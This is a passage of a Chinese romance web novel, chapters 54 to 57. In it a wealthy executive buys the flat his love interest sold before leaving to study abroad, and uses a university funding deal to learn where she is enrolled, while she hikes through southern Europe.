经理通话结束后说着:“没问题,房主在外地,委托给我们了,密码也单独交代过,特别信得过我们,毕竟咱们老企业口碑在这儿,稍等我帮您拿把伞,您要不喝口热茶?” 施友臻压下心底疑惑,他不认为自己记错了,说着:“先看房子吧。” 走进小区,走进那个单元门,走进那个电梯。 最后一次见面,就是林清茉重新打开电梯门跟他挥手说再见。 他不得而入的密码,在陌生中介男人的手指下摁开,何其讽刺。 推门而入,中介经理开始一个劲儿夸户型夸位置,施友臻打断这份聒噪,说着:“我自己看。”经理一愣,讪讪地往旁边让了让。 屋内的家居家电还都是原来的样子摆放,他的沙发,咖啡机,饮水机,厨房中的洗碗机,餐边柜中还有他专门带过来的碗碟水杯,一切如旧。 但是属于林清茉的一切却消失了,那些温馨可爱的软装饰品,凌乱的化妆桌,满满当当的衣橱,中外书籍塞满的书柜,全部都清空了,不见任何跟她有关的痕迹。 林清茉简历中,留了一个电子邮箱,施友臻知道这是一个联系的有效途径,但是没有想好发给清茉什么内容,他是不可能去发“为什么”“凭什么”“在哪里”这样矫情的话。 他现在知道发什么了,沙发、家电、家居,既然她把珠宝返还,这些也是需要返还的,没有返还就当是丢失,林清茉要承担责任。 施友臻:“这房子我要买下,现在就付定金。” 中介一愣又一愣,兴奋道:“价格您看需要再商量一下吗?” 施友臻:“你公放,我跟房东讲几句话。” 中介犹豫了下,还是拨了过去,点了公放,房主刚上来就几分不耐烦地说着:“老哥,不是说您看着办就行吗?不要老是打扰我好不好?” 中介经理解释:“不好意思不好意思,有买家现在就要付定金。” 施友臻听出来了,直接说着:“丹尼,我是施友臻。” 电话那头沉默几秒,丹尼讲话态度都端庄了,说着:“施总?您好。” 施友臻:“林清茉把房子卖给了你,拿着这笔钱去留学了是吗?” 丹尼算是明白六六为什么说面对施友臻会格外紧张了,此刻他在电话那头都正襟危坐了,回答着:“倒不是刻意卖给我,我看她……反正我先买了,再卖也一样。” 施友臻没在电话里追究,只是说着:“我买,你尽快回来一趟办过户手续。” 丹尼:“啊?要不要跟茉茉说一声?” 施友臻觉得林清茉的朋友们单纯中有股蠢劲儿,说着:“如果你能联系上的话。不过你是现在的房主,我认为有独立处置权,房子我一定会买,你可以想想提什么条件,就这样,见面谈,我不介意明天上午就见面,章宁会联系你。” 施友臻结束了通话,把手机还给了中介经理,看经理人也一脸懵,补了句:“中介费不会少。” 外面的雪下得更大,施友臻走到经常跟清茉告别的位置,心里沉压压堵得人想发泄,林清茉真是好大的决心,好了不起的胆识,釜底抽薪卖房子都干得出来,还真是小看了她。 真是好一个釜底抽薪。 此刻,正沐浴着煦日阳光、缱绻微风,在南欧著名徒步路线上漫步的林清茉,打了个喷嚏,同行的旅人关心她是不是受凉,林清茉笑着说道:“不不不,应该不是,在中国突然打一个喷嚏,代表有人在想念我。” 第54章 第五十四章 丹尼全款买了清茉的房子,…… 丹尼全款买了清茉的房子, 对于清茉来说确实是解决燃眉之急。从巨贾之家到一清二白,清茉对于金钱,看得轻, 也看得重,丹尼打来款项的那刻,清茉有点感谢自己这些年的兢兢业业, 自己托举自己,有点辛苦, 但是踏踏实实。 落地S国后, 来接机的是清茉导师的朋友, 在当地生活了很多年的一位华人阿姨, 清茉正式入学前会先借住在徐阿姨家, 徐阿姨跟导师年轻时候就认识,性格很开朗,聊开了清茉才听出来, 可能跟导师年轻时候关系菲薄, 清茉看徐阿姨也不避讳聊以前,就问着: “怪不得他极力推荐我直接到您这里, 我还想着什么关系能这么踏实让我来打扰。” 徐阿姨朗声笑道:“他是想给我找个陪伴的踏实人, 早早就跟我打招呼说有得意门生要来留学, 对你一通夸,让我把闲置的房子直接租给你。关系再好也是难得见一面的关系了, 我们都在变老不是吗?上次见面, 还是六年前了,再往前,可能是我拒绝他求婚的那次。” 徐阿姨准备了精致的一桌饭菜,给清茉洗尘, 聊了很多以前的往事,还问清茉有没有交往的人,要给清茉介绍对象,是很热情很有教养的一位高知女性,佐餐葡萄酒喝得微醺,徐阿姨笑着说道:“我浏览学院刊发的新闻,看到你导师的照片,他头发怎么都白了?” 清茉的印象中,导师一直都是那个样子,头发早就是白发了,这会并没有完全理解徐阿姨的意思,只是说着:“脑力劳动容易白发,他学术课题超多,天天跟陀螺一样。” 徐阿姨笑道:“他年轻的时候就精力旺盛,我印象里他还是年轻那时候的样子,怎么可能一头白发呢,然后我自己照镜子才想起,我也是上了年纪的模样了,比他更显老。” 清茉:“没有,怎么会,您这么优雅美丽,再见面我导也会被迷住。” 徐阿姨很开心地跟清茉干杯:“真的吗?那也可能吧,反正这世上一物降一物,你在这边打打根基,有好的课题项目邀请他过来,我还真想再见见他。” 清茉:“那您当时,为什么离开?” 徐阿姨想了想,惊涛骇浪的过去,如今也只是笑谈提及:“双方家长都不同意呗,他家清高,看不上我家,我家又看不上他家穷,闹得很僵,我觉得烦透了,他又有点妈宝,干脆我就不伺候了,来这边碰到了第一任丈夫,很帅很体贴,对东方的一切沉迷,我就闪婚了。” “后来因为各种观念冲突,和平分手,对了,他就住在隔壁街区,现在算是好朋友吧,上周还过去给他孙子过生日聚会,反正离婚后我觉得处理婚姻关系很费神,就干脆只谈恋爱不结婚,现在晚年单身,也清清静静,当然不排除有好机会继续恋爱。” 清茉听着信息量巨大的聊天内容,心里充满了惊叹号,对于徐阿姨描述导师“妈宝”这种评价,清茉忍笑,导师确实有些“老式”做派,但是性格又很好,听完总觉得有些遗憾,不过徐阿姨洒脱道: “所以我说,他怕我上了年纪一个人孤孤单单,让你来陪伴一下,但是我其实很享受现在的洒脱生活,男人总是活在自己的思维逻辑中,以为世界是他们认为的样子。” 清茉本身就不是喜欢麻烦打扰人的性格,说着:“我入学后肯定是要搬到学校附近的,阿姨,我想把行李先放您这里,开学前到处旅游,走走看看。” 徐阿姨:“当然可以,你学校旁边我也有空着的房子,闲着没事投资了几处房产,就租给你好了,去玩吧,好好享受青春时光。” 清茉休整两天调调时差,置办了徒步的轻装装备,就这么直接水灵灵出发了。 她当然不知道施友臻一脸苦大仇深地飞了十几个小时追到这边,林清茉的认知里,施友臻与一切不合逻辑的冲动行为无关。 所以施友臻在异国街头咬着后槽牙从白天走到夜晚的时候,清茉在另外的城市开始了长达一个月的旅行,她资金还算充足,吃住没有穷游,评估安全系数,该找向导找向导,该结伴结伴,开启了惬意的美景美食心灵之旅。 徒步的路线穿过山岗和海岸,路上遇到很多不同国籍的人,男女老少停歇的时候会用散装英文乱七八糟的交流,每天走几十公里,身体有时候像坠入地狱似的极度疲惫,眼睛却享受着天堂般秀丽景色,人的情绪在大自然中会变得渺小,个体也在充满历史斑驳痕迹的旅行中也变得微不足道。 刚开始出发的时候就遇到了一场大雨,她湿漉漉地跑进一家民宿,同样被淋成落汤鸡的几位徒步旅人相视大笑,民宿老板给他们端来热气腾腾的热巧克力,清茉觉得那是她喝过最香醇的一杯热巧克,满足地笑出了眼泪。 陌生的旅人围坐在一起听着外面的雨声,彼此询问着国籍,讲着各自的经历和故事,面对陌生人进行倾诉好像更没有负担,但是清茉聆听的时候更多,做人文领域课题研究的她,觉得这种文化思维的碰撞可太有意思了,就开始记录遇到的人,遇到的故事。 第二天雨停之后,大家又开始各自的旅行,每个人的节奏和步伐都不一样,快快慢慢间,就都散开了。清茉走到夕阳落山的时候,后面有一队骑行的年轻人响亮地大声喊着:“Vamos!”清茉笑着朝他们挥挥手。 就这样走走停停,路过漂亮的小城就住两天,搜寻一下当地的美食美景,节奏很和缓地享受阳光和自然,在海岸边的咖啡厅闲坐一个下午,在民宿听着外面的海浪声把白天的见闻整理成文字。 小半个月过去的时候,清茉给六六打了个电话,仍旧是用当地电话拨打的,六六接到后一声惊呼,机关枪似的咆哮道: “啊啊啊啊啊茉茉你家施总把我提去谈话了,把我提到融恒集团总部顶层会议室审讯!我长这么大没经历过这种场面好不好!卧槽你不知道那个场景我都怕他把我给枪毙了!他问我你有没有报平安之类的联系,我就供出来了,我说你很平安在旅行,然后他给我园区的新店面充了一年租金!让你给我打电话的话及时通知!茉茉怎么办!” 清茉:“……” 六六崩溃道:“我得罪不起啊祖宗,你知道他秘书怎么说的吗?姓章的那个,他说我要是返还租金的话,就直接退租吧!太无语了茉茉,我都装修好了!他这不是欺负人嘛!他是不是威胁我!” 清茉:“……” 六六:“但是我接受了的话又觉得对不起你,像叛徒,卖友求荣!” 清茉了然笑道:“凉拌,不占便宜白不占,你就踏实收了,该通知通知,今儿你结束通话后就汇报,反正还是在旅行,天高皇帝远的,谁也碍不着谁。” 六六:“你这么说我还踏实点,这几天天天提心吊胆,我良心不安啊茉茉!” 清茉朗声笑道:“多大点事,有人爱做慈善,咱也不拦着。老六,我再过两周返程,就正式安顿下来,帮我约丹尼一下,我想运营个自媒体账号,看看能不能起号成功,走流量赚点外快,丹尼帮我画个封面。” 六六问着:“你可真是想一出是一出,行吧,记得一定固定个电话号码留给我们,联系太麻烦了,我们也会担心你的,你安顿下来之后,也不怕施总找茬了吧,都入学了他还能怎么着。” 清茉:“嗯,谢谢老六。感觉一路上拍摄的视频,能剪出来好多片子,想放在平台上分享。” 六六:“好嘞,等你起号,预祝成功!” 清茉结束通话,觉得也还好,施友臻的反应还是再能接受的范围内。 清茉在大西洋沿岸沿着海岸线行进的时候,遇到了来自北欧的两个年轻女孩,大家英文交流很顺畅,聊了几句很开心,目的地也一致,两个女孩邀请清茉同行,就成了固定搭子,一块儿走了几天,临别的时候她俩很舍不得,问清茉要联系方式,清茉把自己邮箱留给了女孩。 分开后清茉想着清理下邮箱,点进去看着好多未读邮件,有垃圾邮件,也有导师发来的课题建议,还有一封,看邮箱地址,后缀像是融恒集团的官方邮箱。 清茉疑惑地点进去,就看到了正文上寥寥几行,写着:请根据附件清单予以赔偿。 这一看就是施友臻的风格,简洁,没有一句废话,冷冰冰莫名其妙。 下载附件一看,沉默得振聋发聩,是施友臻捯饬进她家的那些物件,从沙发到家电,全部附带了发票,上面重点框出来价格,那个沙发的价格后面一串零,林清茉眯着眼睛数了数,竟然是百万级,她再数一遍,竟然真的是几百万。 清茉:“……” 清茉权当没收到、没看见,但是施友臻为什么有她邮箱地址?他知道房子已经卖了?清茉想了半天没想出原委,干脆就不想了,给导师回复了一封邮件,说徐阿姨邀请他过来参加学术活动。 邮箱还没关,导师已经秒回邮件:“感谢邀请,等你入学后随时沟通,祝顺利愉快。” 清茉关上电脑,深呼吸几次,把施友臻的邮件从大脑中清空。 这就跟未知文明发来的星际信号一样,处理的办法是:千万不要回答。 第55章 第五十五章 少衡后知后觉联系不上…… 少衡后知后觉联系不上清茉的时候, 六六已经很淡定地应对了,少衡追到六六店里打听,六六跟他说清茉去欧洲旅行了, 估计不开手机,要徒步拉练、清修意志。 清茉从小鬼点子就多,主打一个机灵古怪、飘忽不定, 少衡将信将疑,但是又觉得有点合理, 倒也没很担心, 去融恒集团开会的时候, 还兴致勃勃跟他哥聊茉茉的最新壮举, 少衡查了清茉可能选择的徒步路线, 要走五六百公里。 施友臻还是跟以前一样,坐在宽大的办公桌后,距离感拉满地面无表情听着少衡哔哔哔哔, 听他一口一个茉茉、一口一个茉茉, 着实烦得很,将眼睛从电脑屏幕上移开, 盯着少衡问:“所以呢?你今天工作很不饱和是吗?融恒的薪水是发给你工作时间聊无关内容的吗?” 施友臻最近工作效率极高, 对下属也激励措施拉满, 旗下公司天天跟打鸡血似的,少衡的融恒置业也不例外, 高强度的工作节奏已经维持了一段时间, 少衡觉得自己变成了他哥的驴,两眼一蒙就是干,这会坐在施友臻办公室,想聊点有趣的, 他哥还没个好脸。 他哥果然跟以前一样,好像对茉茉格外有意见。 少衡不管,继续问着:“要不,哥,派我去驻外一小段时间?欧洲业务我去学习一圈怎么样?融恒最近外贸新版块我特想了解一下,然后路过S国,顺便找茉茉,六六说茉茉月底徒步结束就恢复通信,你说她是不是挺能整活,我都给她约好模特经纪公司了,她倒是好,拔腿就跑出去了。不过我认识的小女生好多这样的,又刺激又文艺,她路上不会认识什么乱七八糟的人吧?” 施友臻又抬头看他一眼,表情不咋好看,少衡越寻思越觉得自己应该过去一趟,说着:“看不出来她还挺能闯荡,我还是去接她回来吧,哥,我能不能追到茉茉当女朋友全靠您善心大发了,让我去呗。” 施友臻可太爱听他大放厥词了,起身坐到少衡对面,说着:“好,可以去,把你名下财产,全部给我清算了,签好放弃声明,爱滚哪儿滚哪儿,想玩多久玩多久。” 少衡可太了解他哥了,就跟他哥也知道他抬哪边屁股要放哪个屁一个,这会瞧着施友臻脸色,莫名其妙问着:“不是,哥,谁惹你了,干嘛突然冲我发脾气。” 施友臻突然又问了一句:“林清茉同意做你女朋友了?” 少衡嘿嘿一乐,说着:“这不早晚的事儿嘛,我俩天生一对,茉茉从小就是我小女友,天底下谁不知道啊,不过我还没想好怎么发动攻势,哥,没跟你开玩笑,我近期过去一趟呗,为了你弟弟的未来幸福,放我个长假。” 施友臻给林清茉的罪行清单上又加了一条新的重罪:玩弄他亲弟弟的感情。 他是不会承认林清茉把他也玩弄了,施友臻觉得未决胜负,不着急定论。 给少衡放长假那是不可能的,施友臻让少衡坐板正,把融恒置业最近的项目进展汇报一遍,少衡手头没有秘书准备的文件,汇报得磕磕巴巴,施友臻一记眼刀扫过来,不留情面说着: “能干干,不能干退出位置,没有背景关系的优秀年轻人一抓一大把,融恒最不缺青年才俊,清醒一点吧,施少衡。” 少衡也不乐意听,嘟囔道:“我又没有汇报错误,就是几个数据没记清嘛,用得着这么刻薄嘛?是不是我亲哥,有本事你就直接撤了我,我正好跑欧洲跟清茉玩一圈。” 施友臻起身,指了指门口。 少衡气哼哼往外走,在门口突然问了句:“对了,哥,你最近住在哪边?妈昨天来市里,听家政阿姨说你最近没住澜湾,让我问问你住哪边,开春有当季野味,妈要过来给你捎点。” 施友臻点头,讲话也软了几分,没明确回答住在哪里,说着:“嗯,不用专门送,我周末回去一趟。” 少衡:“行,那你定了周六还是周日回,我跟你一起呗,我回去要当面打小报告,哥,你凭良心讲,我最近干得很出成绩了好不好,你再苛责,我回去跟爸妈告状。而且我有正当休年假的权力!带薪年假!我让妈陪我一起去!怎么着你还要审阅签批妈妈的休假单吗?” 施友臻摆摆手让他滚。 施友臻评估着少衡几句真话几句假话,或者说喜欢到了什么程度,主观上,他更愿意相信,少衡只是将小时候的感情放大化,但是不适合原封不动地套在成年之后的感情上,因为林清茉已经变化太多了,而少衡不再了解她,只是单方面热闹。 所以林清茉罪加一等当之无愧。 他其实很想直白地问一句少衡,是否真的了解林清茉。旧时故人已经换了新的灵魂,他看得到,少衡却根本没看到。这种问题过于刻薄,他暂时不会问出口。 章宁看少衡离开,拿着文件进来,把下午的会议安排和议题汇报了一遍,请示晚上的行程安排,施友臻最近晚上都不安排工作事务,推掉了很多商务宴请,以前外人就很难约他,现在更难,融恒的人也观察到BOSS经常下班就消失,内部都小声猜测BOSS是不是有了私生活,下班就去约会,是在火热秘恋期呢。 唯一知晓内情的章大秘,某次被几位高管们围猎,调笑着跟他打听,章大秘抬了抬眼镜,淡定说着:“无可奉告。”又重点加了句:“敬请期待。” 一众人了然,八卦暗号就变成了“敬请期待”,甚至建了个群。 今天施友臻下班也没有安排公务,处理完公司事务,他自己开车出发了,BOSS下班了,章大秘是下不了班的,他要监工去取一圈货,然后把施友臻亲自订的货品送过去,诸如此类的行程,已经持续了一段时间,他的BOSS找到了非常了不起的下班解压事业。 货物内容:各种奢品的家饰软装床品日用以及零七八碎小家具。 送货地点:林小姐之前的住房。 对,就是林清茉之前住的那个房子,总面积都没有狮麟别苑客厅大。章宁虽然没有搞清楚施友臻是怎么把产权倒腾到自己手里的,也不奇怪,施友臻想要的,目前来说,就一定会得到。 但是看着自己BOSS趣味盎然地像个设计师一样,连日一直倒腾这个小房子,甚至直接住在了里面,章大秘内心五味杂陈,觉得局势诡秘,难以评价,毕竟林小姐远在天边,联系都没联系上的样子。 财富到达施友臻这种量级,拥有并满足兴致和趣味,其实会变得格外困难,因为实在过于富有,类似于一夜暴富的人,也很容易一夜迷失,好在施友臻是事业狂,这些年将旺盛精力投入到拓展版图中,还提携少衡也规矩地搞事业,施家不养纨绔。 年前章大秘看施友臻好像要恋爱,BOSS铁树开花开到一半,年后林小姐突然消失,他的BOSS冷静之后,竟然没着急掘地三尺继续扒人,独辟蹊径找到了打发时间的新乐趣,章大秘发自内心也挺佩服,非常人干非常事,他默默助力后勤保障,祝福BOSS心理健康。 施友臻买下这处房产之后,像是玩上了现实版的《家居大改造》游戏,乐此不疲,刚买下就把地板掀掉换成昂贵的实木通铺,除了巨大的沙发还留着,其他的家具也都换了一轮,将林清茉购置的便宜北欧家居品牌全部换掉。 也不是全部都清理掉,卧室里的床没换,还是那个北欧家居牌子的白色铁艺双人床,床头床尾都是铁栅栏似的高板设计,没换的理由不可明说,反正施友臻觉得可以等把床折腾散架的时候再换,总要留着个让她长记性的地儿。 施友臻也不着急一气儿都干完,每天会琢磨哪里要更新,想到哪儿干到哪儿,反正这个小房子慢慢已经都是施友臻的风格了。 施友臻今天收拾的是玄关,置物架已经换成了颜色柔和的实木架,上面布置了几个大小不一的老花置物匣子,可以放日常穿戴的腕表、饰品,如何把这么小的空间打造得凝练,同时集聚实用功能和视觉美观,也是不小的挑战,施友臻甚至使用了专业做图软件进行设计。 晚上新送来了一块羊绒地毯,施友臻布置完玄关置物架,把地毯铺到了卧室。卧室里目前只留了一张床,其他的书桌小柜都清了出去,保证主体使用功能一目了然,床品也用了施友臻惯用的品牌和色系。 林清茉之前喜欢用带花样的明朗色系,施友臻现在用的都是深色暗系,今天就用了暗灰色,施友臻觉得会很衬白莹莹的皮肤。 把地毯铺好后,施友臻突然想起清茉白净纤细的脚腕,明明不堪一握,充满娇弱的视觉冲击,却能狠心走那么远的路,可真是行。 他也理解了为什么那些器具会有市场需求,他甚至想,该在她脚腕上戴上镣铐,用沉重的金属禁锢住纤细脚腕,让她只能养尊处优地踩在柔软的羊绒地毯上,只能在他框定的这个空间内满足他的一切需求。 施友臻的呼吸都重了,他铺好地毯起身,去冰箱里取了瓶冰镇苏打水压压火,冰箱自然也是新换的,一旁轻飘飘的松木餐桌也换成了新的天然石,上面摆着施友臻的电脑,他也入乡随俗似的被清茉同化,用了餐桌办公,因为卧室里那个占地儿的小书桌被施友臻扔掉了。 沙发调整到贴近阳台的那侧,让客厅空间更充裕一点,不至于摸黑从卧室出来,会被绊倒跌倒在沙发上,一想,更燥热,好像小腿上还存留着那个漆黑夜晚林清茉跌在他腿上的触感,整个人都压上来,也轻轻柔柔的,带着温热的柔软。 施友臻又去拿一瓶冰苏打,走到阳台上打开窗户吹吹风。阳台上也清理至空旷,施友臻买下房子的时候,阳台上原本的绿植已经全部清空了,他倒是挺喜欢原本绿意盎然充满绿植的阳台,虽然林清茉布置的都是些绿萝之类廉价又好养活的植物。 他重新更换了阳台窗户,之前冬天清茉说过漏风,也确实漏风,她倒是能忍,拉上隔离门就过了冬,寒夜北风在窗棂间呼啸了一个冬天。 阳台内侧墙面重新做了防潮保温,木地板通铺到阳台地面,上面也挑选了一块柔软的地毯,原先的阳台格挡拆除,显得空间通畅一些,施友臻量好尺寸,挑了个小巧的书柜放在阳台一侧,上面置物台面摆了他的咖啡机和各种杯子。 林清茉倒是没把杯子一起打包归还到狮麟别苑,不知道是不是走得过于匆忙,反正施友臻也把这数套餐盘写进了赔偿清单。 房屋交易后,施友臻过来接收,当时就觉得他们相处时候惯用的几只杯子遗落在餐桌上格外刺眼,施友臻现在把杯子归置到咖啡机旁边的架子上。 其中清茉一直用的蓝胖子水杯在一众高奢精品瓷器中格格不入,碍眼得很,施友臻看着有几分生气,把蓝胖子水杯摆到了搁置架最里层。 放进去之后好像火更大,更生气,就又拿了出来,堂而皇之把第一层单独留给了蓝胖子水杯。 今天订购的保险柜也送了过来,施友臻看着时间还早,不着急睡觉,就开车返回了一趟狮麟别苑,把送给林清茉的那对镯子拿了过来。 收到时候的欢喜,不像装出来的,那么喜欢也要舍弃,可见喜欢得不够深刻。 卧室的衣柜也重新换了,换成跟地板一个色系的实木柜子,里面布局重新分区,反正施友臻的衣物是不用再搁在玄关。衣柜里专门预留了保险柜的位置,施友臻把镯子放进去,密码设置的时候犹豫了一秒,还是设置成了林清茉的生日。 保险柜体积不大,但是里面只放一对镯子还是太空。 施友臻仍旧觉得这个小房子风水很好,聚气养人,今天也淡定地留在这里过夜。洗漱完换好睡衣,就躺在床上开始浏览最近的拍卖会目录清单,他要把保险柜填满。有几款金镶玉吊坠看着挺漂亮,清茉之前的饰品有小巧的金子项链,施友臻圈了几款金镶玉,嫌价格不高,又去继续看后面一长串零的那些了。 东一区的林清茉,不知道东八区的施友臻精神状态如此独美,她的徒步旅行已经接近尾声,像是完成了一次洗礼,身体疲惫,精神痛快,在抵达终点的最后一晚,跟同行的向导和朋友们找了一家当地美食餐厅把酒言欢,分离后当天夜里返程回到了S国首都。 徐阿姨也外出度假了,已经请人把清茉要住的房子清扫干净,行李也送了过去,清茉临行前拿好了钥匙,现在直接入住,痛痛快快泡了澡解乏,可能是马上入学迎接新的生活,精神很亢奋,试着入睡也睡不着,干脆起床整理些资料,顺便查看了下邮箱。 还是稍微有点担心发来天价索赔单子的施友臻下一步要怎么作,好像也没有为难六六他们,施友臻人品是有点保障的,最起码目前是。清茉打开邮箱,果然那个融恒集团后缀的地址,又来了一封没有署名的新邮件。 邮件中继续申明了还款的最后期限,让下个月10号之前付清,否则要追责。但是在冷冰冰的制式催款言语下面,括号内标注了一行字:“如遇突发紧急情况,请联系融恒集团S国派驻机构。”后面缀加了详细地址、联系电话。 清茉搜索了一下,竟然离她住处不远。 林清茉对于这封邮件的评价是:施家大哥没有硬到底,露出了几分柔软。就像他当初以为清茉私生活混乱,还是愿意拉她一把一样。清茉不会回复邮件,但是把号码存了下来,毕竟来日方长。 谁先露怯谁先输。 第56章 第五十六章 确认林清茉的确是去留学之…… 确认林清茉的确是去留学之后, 这段时间里,施友臻已经足够冷静,最起码看起来已经足够冷静, 他在首次冲动飞抵S国首都并无功而返后,近期并没有再飞过去的意思,放任她每隔三五天跟六六通个话, 确保收到徒步旅行平安的消息就好。 从本质上讲,施友臻掌握的实质性讯息还是太少, 比如她到底就读哪个学校哪个专业, 退一万步讲, 施友臻得确保, 就算林清茉始终不提供联系方式, 他也能根据线索准确定位找到她。 至于施友臻的方式方法,他当然有的是办法,财富跟事业积累到金字塔顶端, 很多复杂的事情都会变得简单。 林清茉留下的这份真实简历, 跟她卖出去的房子一样,给施友臻的空余时间提供了足够的趣味, 他溯源了简历发出的邮箱, 联系后发现是清茉的前同事, 林清茉人缘好,她前同事跳槽到融恒体系内的企业做人事, 帮她投简历找工作。 弄清楚林清茉上一份工作戛然而止的原因, 也是施友臻要追究的其中一个课题,但是首要目标是先把人定位了。 一份简历能够给出的信息实在是相当丰富,以不同的形式去接触她的过去,顺藤摸瓜之间, 就能抓住现在。 施友臻在网站上下载了清茉的硕士毕业论文,打印出来带回焕然一新的小房子,洗澡后舒坦靠在沙发上翻看,论文做了社会田野调查,原创度很高,严密的逻辑中带着几分文科生的烂漫和飘忽,施友臻在觉得有疑问,或者认为可以继续深入观点阐述的地方作了详细批注,甚至根据备注和文献资料去浏览了些最新研究成果。 并发现了几处统计数据处理存疑的地方。 文末的致辞感言,清茉没有卖弄华丽的辞藻,质朴地感谢了为论文提供帮助的师友,对自己的研究课题很热爱,期许未来有机会能够继续。她那时候没有选择继续深造,不知道当时会不会觉得遗憾。 没有经济支撑的学业可能会变得煎熬,倒真不如现在拿着卖房子的“巨款”去潇洒。 施友臻对林清茉把握重点的果敢能力表示赞许,这种果断没用在他身上就更好了。 论文扉页上有林清茉导师的名字,L大知名教授,施友臻推测,清茉留学的推荐信,应该是这位导师帮忙搞定的,一个规规矩矩念书的学生,人脉不过于此。 融恒集团历来传统,重视培养青年学子,尤其是科技前沿领域,最近几年配合当地号召,参与了很多地校合作,对重点研究课题提供资金支持,形成企业跟科研人才良性互动,不过很少向文科综合院校倾斜。 近日会议上审议新一年校企合作项目的时候,施友臻单独点了L大,添加进了资助名单中,汇报的负责人一愣,以为自己听错了,又问了一遍,施友臻说着:“嗯,新增L大。” 章宁在会上做记录,听到施友臻淡定讲出L大名字的时候,眼皮一跳,想着,怎么不直接点明白是哪个学院得了,结果施友臻没什么不敢干的,直接点了院系。 这算是融恒第一次跟人文学科有关联的高校资助,听会的人莫名其妙,毕竟听起来没什么投入产出比,众人心里好奇,章大秘了然推了推眼镜框,又生出久违的优越感,在场他是唯一知情人,那还不是因为林小姐本硕都在L大读书,BOSS搁这儿藏私心呢。 章宁也是想简单了,会后,施友臻把联系L大的事情,单独跟章宁交代了几句,项目资助金额不小,施友臻点名要在校方合作会议上,让林小姐的导师也出席。 林清茉导师的项目不少,项目资金其实也够,但是也是头一次被企业点名资助,这么一大笔巨额研究经费,院系领导们比他还激动,拉着他就去开会。清茉导师听过融恒集团,并不怎么了解,他现场在手机上搜索,抬头看眼会议桌对面的施友臻,寻思着,还真是年轻有为、一表人才,关键是支持人文基础学科发展,有远见,有大义。 会议结束后,施友臻客气地请林清茉导师单独留步聊两句,施友臻开门见山说着:“久仰,清茉经常跟我提起您。” 导师一听他提门生清茉,脑子转得很快,这世上原本就没有无缘无故的爱和无缘无故的恨,他热情道:“原来是因为林清茉,我说怎么突然多出来一个这么大的资助项目,您跟林清茉是?” 施友臻:“世交家妹妹,算是一起长大的。” 章宁在一旁原本很是期待施友臻就两人关系讲出什么惊世骇俗的话,比如女朋友、未婚妻,或者落跑新娘之类,结果施友臻就这么平淡的说是什么妹妹,不够魄力,不够浪漫。章宁失落地抬了抬眼镜框。 导师一听,更热情,说着:“是吗?还真是托了清茉的福气,她年前跟我讲要去留学,我还数落她一顿,每年我的博士名额都要先问她要不要来深造,都给她留着,结果这小姑娘突然就要去留学。国内学科发展也是很好的嘛,劝她好久,劝不动。” 施友臻不急不躁顺着话说着:“您费心了,她决定留学是挺突然,我们也很担心。” 导师笑道:“那倒也不用担心,清茉没提吗?我托朋友帮着照应,您放心,我朋友也是热心人,她在那边住了几十年,正好有空着的房子,知根知底,清茉住着踏实。” 施友臻继续顺着话讲:“听她讲过,所以今天来也是特意感谢您,她建议我们集团也要关注人文学科发展,最起码在校企合作上不能太过偏见。” 导师笑得更舒心,说着:“丫头倒挺有社会责任感。” 施友臻:“给您添麻烦了。” 导师乐呵道:“不麻烦不麻烦,不过既然这个项目经费跟清茉有关系,也可以联动一下清茉现在的导师,温迪教授我之前见过几面,要是做成国际课题,我们学校跟清茉的M大联合开展一些研究项目,也很有意思。不瞒您说,清茉邀请我过去参与学术活动,我还发愁没有经费支持呢。” 施友臻:“听起来很有意义,M大温迪教授的文章清茉给我推荐过几篇,确实很有意思,不知道那边的运作模式具体怎么操作,您如果有直接联系方式的话,可以提供给我的团队,他们进行对接准备,可以单独出一份科研项目经费。” 导师一听,已经在手机里翻找,从会议桌上拉过一张A4纸,将M大温迪教授的联系方式,还有之前学术交流认识的M大教职人员的联系方式都给了施友臻,挺开心地说着:“这事儿,还真是得感谢清茉,我回头跟她详细安排一下。” 施友臻点头,但是说着:“可以暂时跟她保密吗?我最近会去S国出差,见面再告诉她,算给她惊喜,毕竟是她心心念念想实施的项目。” 导师:“好好,没问题,那我们课题组也先拟个初步计划,配合融恒,走走手续流程。” 施友臻起身跟导师握手,说着:“感谢。” 导师客气道:“是该感谢施总。” 目睹全程的章大秘感觉又学到了。BOSS就是BOSS,这么自然地就把林小姐捂得严严实实的藏身之所给套出来了,学校、院系、导师,统统明确。所以施总是故意把两人关系说得不远不近,足够客气,不让人生出疑问。 毕竟如果说是男女朋友关系,万一林小姐跟导师一直汇报单身,施总就穿帮了。就算不穿帮,也没法套话,亲密关系来打听这些事儿,更奇怪。所以就这么不远不近客气讲,才显得真实。 施友臻心情不错地离开会议室,章宁试探着问道:“需要联系一下吗?” 施友臻:“不急。” 开学前还有一点闲暇时光,清茉绕着住所四处溜达,大航海时代的老牌帝国早早完成了资本原始积累,街道上处处可见平衡着古典与现代的历史建筑,比起在国内像陀螺一样奔生活,这边的节奏好像和缓很多,晒太阳的人,行走的人,街边咖啡厅、酒吧里的人,都显示出一种让人羡慕的松弛。 导师对于她要出国拿学位颇有微词,絮絮叨叨好久,但是清茉真的想换环境喘口气,年轻时候来留学,跟退休以后来旅游,都是选择,清茉这不是失业了嘛,算另类退休,趁着年轻看看世界之大,多生出些自觉渺小的谦虚,也不错。 路过一家鲜花店,清茉选了一束老板搭配好的鲜花,抱在怀里又往前溜达十几分钟,就看到了融恒集□□驻S国的办事机构,秉承了融恒集团的一贯风格,挑选了附近最端庄气派的一栋楼做了办公地点,门口几种语言写着融恒集团的名字。 清茉捧着花,站在融恒标识对面盯着发了一会呆,从楼门口突然走出来几个年轻人,最前面的年轻人跟清茉打了个照面,小伙子抬眼看到清茉的时候怔了一瞬,试着用中文问候了句:“嗨,你好。” 第57章 第五十七章 施恩永觉得对面的女孩眼熟…… 施恩永觉得对面的女孩眼熟。 清茉今天只是简约的基本款, 干干净净水灵灵站在那里,抱着的鲜花红红绿绿很鲜亮,阳光也足够明媚, 她就这么明晃晃跌进了施恩永的眼睛里。 施恩永,姓施,施友臻二叔家的小儿子。 他今年毕业, 家里人原本想安排他进国内融恒的重要企业发展,像施少衡那样。少衡负责的融恒置业去年业绩可观, 虽然小施总肯定没法跟掌舵人施总相提并论, 但是在二代三代里面, 已经是出类拔萃了, 谁让施友臻不仅是天花板, 而且是珠穆朗玛,望尘莫及。 不过他不愿意被层层管束,专程托父亲去跟堂兄施友臻讨了来海外实践锻炼的机会, 施家不养闲人, 他过来的身份也是普通应届职员,因为姓施, 大家对他挺客气, 倒也清闲自在。 他春节过后入职, 听公司领导们讲,施友臻前段时间突然过来一趟, 短暂停留一天后返程了, 